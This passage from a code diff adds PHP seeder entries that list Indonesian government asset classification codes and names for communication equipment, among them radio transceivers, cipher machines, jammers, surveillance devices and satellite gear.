'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI RADIO SSB', + ], + [ + 'id_aset' => 2438, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANCEIVER SSB PORTABLE', + ], + [ + 'id_aset' => 2439, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANCEIVER SSB TRANSPORTABLE', + ], + [ + 'id_aset' => 2440, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANCEIVER SSB STATIONERY', + ], + [ + 'id_aset' => 2441, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI RADIO SSB LAINNYA', + ], + [ + 'id_aset' => 2442, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI RADIO HF/FM', + ], + [ + 'id_aset' => 2443, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANCEIVER HF PORTABLE', + ], + [ + 'id_aset' => 2444, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANCEIVER HF TRANSPORTABLE', + ], + [ + 'id_aset' => 2445, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANCEIVER HF STATIONERY', + ], + [ + 'id_aset' => 2446, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'UNIT TRANCEIVER FM', + ], + [ + 'id_aset' => 2447, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI RADIO HF/FM LAINNYA', + ], + [ + 'id_aset' => 2448, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI RADIO VHF', + ], + [ + 'id_aset' => 2449, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANCEIVER VHF PORTABLE', + ], + [ + 'id_aset' => 2450, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANCEIVER VHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2451, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANCEIVER VHF STATIONARY', + ], + [ + 'id_aset' => 2452, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI RADIO VHF LAINNYA', + ], + [ + 'id_aset' => 2453, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI RADIO UHF', + ], + [ + 'id_aset' => 2454, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TRANCEIVER UHF PORTABLE', + ], + [ + 'id_aset' => 2455, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TRANCEIVER UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2456, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT TRANCEIVER UHF STATIONARY', + ], + [ + 'id_aset' => 2457, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI RADIO UHF LAINNYA', + ], + [ + 'id_aset' => 2458, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI SOSIAL', + ], + [ + 'id_aset' => 2459, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'PUBLIK ADDRESS (LAPANGAN)', + ], + [ + 'id_aset' => 2460, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'WIRELESS AMPLIFIER', + ], + [ + 'id_aset' => 2461, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'SLIDE PROJECTOR (LAPANGAN)', + ], + [ + 'id_aset' => 2462, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'MULTIPLEX SYSTEM', + ], + [ + 'id_aset' => 2463, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'FREQUENCY SYSTHESIZER UNIT', + ], + [ + 'id_aset' => 2464, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'PATCHING BOARD', + ], + [ + 'id_aset' => 2465, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI SOSIAL LAINNYA', + ], + [ + 'id_aset' => 2466, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT-ALAT SANDI', + ], + [ + 'id_aset' => 2467, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'MORSE KEYER', + ], + [ + 'id_aset' => 2468, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'AUTOMATIC DEORSE KEYER', + ], + [ + 'id_aset' => 2469, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT SEMBOYAN', + ], + [ + 'id_aset' => 2470, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN SANDI DAN KELENGKAPANNYA', + ], + [ + 'id_aset' => 2471, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'FINGER PRINTER TIME AND ATTANDANCE ACCES CONTROL SYSTEM', + ], + [ + 'id_aset' => 2472, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN SANDI TEKS', + ], + [ + 'id_aset' => 2473, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN SANDI SUARA', + ], + [ + 'id_aset' => 2474, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN SANDI DATA', + ], + [ + 'id_aset' => 2475, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN SANDI BERBASIS SOFTWARE', + ], + [ + 'id_aset' => 2476, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN SANDI BERBASIS HARDWARE', + ], + [ + 'id_aset' => 2477, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESIN SANDI BERBASIS SOFTWARE DAN HARDWARE', + ], + [ + 'id_aset' => 2478, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '012', + 'nama' => 'ALAT PEMBANGKIT KUNCI', + ], + [ + 'id_aset' => 2479, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '013', + 'nama' => 'ALAT PENDISTRIBUSI KUNCI', + ], + [ + 'id_aset' => 2480, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '014', + 'nama' => 'CRYPTHOPONE', + ], + [ + 'id_aset' => 2481, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '015', + 'nama' => 'CRYTOFAX', + ], + [ + 'id_aset' => 2482, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '016', + 'nama' => 'SERVER ENCRIPTION', + ], + [ + 'id_aset' => 2483, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '017', + 'nama' => 'HANDPHONE ENCRIPTION', + ], + [ + 'id_aset' => 2484, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '018', + 'nama' => 'GSM JAMMER', + ], + [ + 'id_aset' => 2485, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '019', + 'nama' => 'CDMA JAMMER', + ], + [ + 'id_aset' => 2486, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT-ALAT SANDI LAINNYA', + ], + [ + 'id_aset' => 2487, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI KHUSUS', + ], + [ + 'id_aset' => 2488, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT DF RADIO SSB', + ], + [ + 'id_aset' => 2489, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'SUPER BROOM', + ], + [ + 'id_aset' => 2490, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT DF RADIO HF/FM', + ], + [ + 'id_aset' => 2491, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '004', + 'nama' => 'SCANLOCK PLUS CEBERUS', + ], + [ + 'id_aset' => 2492, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '005', + 'nama' => 'ALAT DF RADIO VHF', + ], + [ + 'id_aset' => 2493, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '006', + 'nama' => 'STELATH DIGITAL REPEATER', + ], + [ + 'id_aset' => 2494, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '007', + 'nama' => 'ALAT DF RADIO UHF', + ], + [ + 'id_aset' => 2495, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '008', + 'nama' => 'TRANKING', + ], + [ + 'id_aset' => 2496, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '009', + 'nama' => 'TELEPON TAPING', + ], + [ + 'id_aset' => 2497, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '010', + 'nama' => 'STELATH', + ], + [ + 'id_aset' => 2498, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '011', + 'nama' => 'VISATELIT', + ], + [ + 'id_aset' => 2499, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '012', + 'nama' => 'MAINFRAME (ALAT KOMUNIKASI KHUSUS)', + ], + [ + 'id_aset' => 2500, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '013', + 'nama' => 'SAFE LIGHT FILTER', + ], + [ + 'id_aset' => 2501, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '014', + 'nama' => 'ANTI SADAP TELEPON (SCANBLER)', + ], + [ + 'id_aset' => 2502, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '015', + 'nama' => 'BILLINF SYSTEM', + ], + [ + 'id_aset' => 2503, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '016', + 'nama' => 'ROOM MONITORING MC06', + ], + [ + 'id_aset' => 2504, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '017', + 'nama' => 'WATCH TRANSMITER', + ], + [ + 'id_aset' => 2505, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '018', + 'nama' => 'ASHTRAY', + ], + [ + 'id_aset' => 2506, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '019', + 'nama' => 'NON DIRECTION BEACON (NDB)', + ], + [ + 'id_aset' => 2507, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '020', + 'nama' => 'RADIO LINK', + ], + [ + 'id_aset' => 2508, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '021', + 'nama' => 'LOCALIZER', + ], + [ + 'id_aset' => 2509, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '022', + 'nama' => 'GLADE PATH', + ], + [ + 'id_aset' => 2510, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '023', + 'nama' => 'MIDLE MARKER', + ], + [ + 'id_aset' => 2511, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '024', + 'nama' => 'RADIO COMMUNICATION MATCHING SWITCH (RCMS)', + ], + [ + 'id_aset' => 2512, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '025', + 'nama' => 'DIRECTION VERY OMNI RANGE (DVOR)', + ], + [ + 'id_aset' => 2513, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '026', + 'nama' => 'INTEGRATED GROUND CAOMMUNICATION SYSTEM (SGRS)', + ], + [ + 'id_aset' => 2514, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '027', + 'nama' => 'SWITCHING GROUND RECEIVER SYSTEM (SGRS)', + ], + [ + 'id_aset' => 2515, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '028', + 'nama' => 'ALAT RX RADIO SSB', + ], + [ + 'id_aset' => 2516, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '029', + 'nama' => 'ALAT RX RADIO HF/FM', + ], + [ + 'id_aset' => 2517, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '030', + 'nama' => 'ALAT RX RADIO VHF', + ], + [ + 'id_aset' => 2518, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '031', + 'nama' => 'ALAT RX RADIO UHF', + ], + [ + 'id_aset' => 2519, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '032', + 'nama' => 'ALAT JAMMING RADIO SSB', + ], + [ + 'id_aset' => 2520, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '033', + 'nama' => 'ALAT JAMMING RADIO HF/FM', + ], + [ + 'id_aset' => 2521, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '034', + 'nama' => 'ALAT JAMMING RADIO VHF', + ], + [ + 'id_aset' => 2522, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '035', + 'nama' => 'ALAT JAMMING RADIO UHF', + ], + [ + 'id_aset' => 2523, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '036', + 'nama' => 'ALAT SPEKTRUM FREK MONITOR SSB', + ], + [ + 'id_aset' => 2524, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '037', + 'nama' => 'ALAT SPEKTRUM FREK MONITOR HF/FM', + ], + [ + 'id_aset' => 2525, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '038', + 'nama' => 'ALAT SPEKTRUM FREK MONITOR VHF', + ], + [ + 'id_aset' => 2526, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '039', + 'nama' => 'ALAT SPEKTRUM FREK MONITOR UHF', + ], + [ + 'id_aset' => 2527, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '040', + 'nama' => 'ALAT TRAFFIC ANALYSIS', + ], + [ + 'id_aset' => 2528, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '041', + 'nama' => 'ALAT COUNTERSURVEILLANCE', + ], + [ + 'id_aset' => 2529, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '042', + 'nama' => 'ALAT SURVEILLANCE', + ], + [ + 'id_aset' => 2530, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '043', + 'nama' => 'ALAT JAMMING FREKUENSI', + ], + [ + 'id_aset' => 2531, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '044', + 'nama' => 'ALAT PENGENDALI PANCARAN GELOMBANG ELEKTROMAGNETIK (TEMPEST)', + ], + [ + 'id_aset' => 2532, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI KHUSUS LAINNYA', + ], + [ + 'id_aset' => 2533, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI DIGITAL DAN KONVENSIONAL', + ], + [ + 'id_aset' => 2534, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'SYSTEM CONTROL NODE MULTI SITE SYSTEM', + ], + [ + 'id_aset' => 2535, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'SITE BASE STATAION MULTI SITE SYSTEM', + ], + [ + 'id_aset' => 2536, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'CONTROLL CENTER', + ], + [ + 'id_aset' => 2537, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => 'E2EENCRYPTION MANAGEMENT TOOLS', + ], + [ + 'id_aset' => 2538, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '005', + 'nama' => 'NETWORK MONITORING SYSTEM', + ], + [ + 'id_aset' => 2539, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '006', + 'nama' => 'SWITCHING MATRIX AND SERVER', + ], + [ + 'id_aset' => 2540, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '007', + 'nama' => 'DIGITAL RECORDING SYSTEM', + ], + [ + 'id_aset' => 2541, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '008', + 'nama' => 'OFFICIAL PHERIPHERAL', + ], + [ + 'id_aset' => 2542, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '009', + 'nama' => 'MOBILE UNIT', + ], + [ + 'id_aset' => 2543, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '010', + 'nama' => 'MOBILE GATEWAY', + ], + [ + 'id_aset' => 2544, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '011', + 'nama' => 'CONVERT BODY', + ], + [ + 'id_aset' => 2545, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '012', + 'nama' => 'REPEATER RX/TX', + ], + [ + 'id_aset' => 2546, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '013', + 'nama' => 'REPEATER MULTIBAND COMBINER 4 IN 4OUT', + ], + [ + 'id_aset' => 2547, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '014', + 'nama' => 'REPEATER MULTIBAND COMBINER 4 IN 2OUT', + ], + [ + 'id_aset' => 2548, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '015', + 'nama' => 'REPEATER MULTIBAND COMBINER 2 IN 2OUT', + ], + [ + 'id_aset' => 2549, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '016', + 'nama' => 'REPEATER CDMA 80PO MHZ', + ], + [ + 'id_aset' => 2550, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '017', + 'nama' => 'REPEATER CDS 1800 MHZ', + ], + [ + 'id_aset' => 2551, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI DIGITAL DAN KONVENSIONAL LAINNYA', + ], + [ + 'id_aset' => 2552, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI SATELIT', + ], + [ + 'id_aset' => 2553, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'FULLY SYSTEM HUB', + ], + [ + 'id_aset' => 2554, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'VSAT SYSTEM FOR REMOTE TERMINAL', + ], + [ + 'id_aset' => 2555, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'COMMOB (COMMUNICATION MOBILE) VSAT', + ], + [ + 'id_aset' => 2556, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'WIRELESS BASE STATION + SURVEILLANCE MANPACK KIT', + ], + [ + 'id_aset' => 2557, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '005', + 'nama' => 'FLYAWAY', + ], + [ + 'id_aset' => 2558, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '006', + 'nama' => 'ENCRYPTION', + ], + [ + 'id_aset' => 2559, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '007', + 'nama' => 'REMOTE DATA CONNECTION DISTRIBUTION', + ], + [ + 'id_aset' => 2560, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '008', + 'nama' => 'REMOTE VOIP GATEWAY E1 CARD INTERFACE', + ], + [ + 'id_aset' => 2561, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '009', + 'nama' => 'SPECTRUM ANALYZER FOR HUB STATION', + ], + [ + 'id_aset' => 2562, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '010', + 'nama' => 'SPECTRUM ANALYZER PORTABLE FOR FIELD USE', + ], + [ + 'id_aset' => 2563, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '011', + 'nama' => 'UPS 15 KVA FOR HUB STATION', + ], + [ + 'id_aset' => 2564, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '012', + 'nama' => 'UPS 1 KVA FOR REMOTE STATION', + ], + [ + 'id_aset' => 2565, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI SATELIT LAINNYA', + ], + [ + 'id_aset' => 2566, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KOMUNIKASI LAINNYA', + ], + [ + 'id_aset' => 2567, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KOMUNIKASI LAINNYA', + ], + [ + 'id_aset' => 2568, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' 